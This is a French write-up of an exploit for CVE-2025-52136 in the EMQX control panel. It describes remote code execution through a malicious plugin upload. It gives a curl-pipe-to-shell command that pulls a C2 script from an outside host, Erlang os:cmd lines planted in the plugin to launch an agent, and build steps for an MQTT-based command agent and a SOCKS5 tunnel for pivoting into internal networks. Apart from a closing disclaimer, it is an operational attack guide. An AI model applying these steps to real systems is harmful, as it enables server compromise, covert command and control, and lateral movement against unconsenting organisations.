
Exploit pour CVE-2025-52136 permettant une exécution de code à distance (RCE) sur le panneau de contrôle EMQX via le téléchargement de plugin, avec un agent de commande basé sur MQTT et un tunnel SOCKS5 pour la communication C2 hors bande et le pivotement réseau.
https://github.com/ricardojoserf/emqx-RCE
La méthode d'exploitation d'origine consiste à téléverser un plugin EMQX, puis à ajouter dans le code du modèle du plugin un appel au module Erlang `os` pour exécuter des commandes système et obtenir une RCE.
Dans un environnement avec accès sortant, où curl est présent par défaut, il est possible d'utiliser directement curl http://xx.xx.xx.xx/1.sh | sh pour établir une connexion vers le C2.
Lorsque la cible n'a pas d'accès sortant, comme EMQX est lui-même un serveur de messages MQTT, il est possible de combiner le téléversement du plugin pour exécuter un programme téléversé sur le serveur EMQX. En utilisant EMQX comme cœur de la file de messages MQTT, le programme déployé agit directement comme un « proxy de commandes système » : il s'abonne aux commandes envoyées par le client, puis publie les résultats d'exécution sur un sujet.
+-------------+
| Client |
| Envoie cmd |
| Sujet: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| Proxy de cmd |
| Abonné rx/cmd|
| Exécute cmd |
| Publie tx/cmd|
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
Ensuite, en suivant la méthode d'exploitation de l'auteur d'origine, ajoutez trois lignes dans my_emqx_plugin.erl :
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
Après avoir compilé le plugin, utilisez n'importe quel outil de compression pour placer mqtt_agent dans le répertoire my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

Téléversement du plugin

Ensuite, côté client, ajoutez un abonnement au sujet tx/cmd et publiez sur le sujet rx/cmd pour l'utiliser.

De la même manière, via MQTT, il est possible d'ouvrir un tunnel entre le Client et l'Agent, de transférer les données TCP dans les deux sens via MQTT vers l'Agent interne, puis l'Agent se connecte à la machine cible interne pour réaliser une traversée du réseau interne.
Cette approche présente certaines limites :
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
L'utilisation est similaire au processus RCE décrit ci-dessus ; ici, on utilise directement un port local pour créer un tunnel SOCKS5 afin de transférer le trafic.
Le tunnel proxy doit être compilé et utilisé par vos soins.
Cet outil est destiné uniquement à une utilisation dans un environnement autorisé ou de test ; toute utilisation illégale est strictement interdite.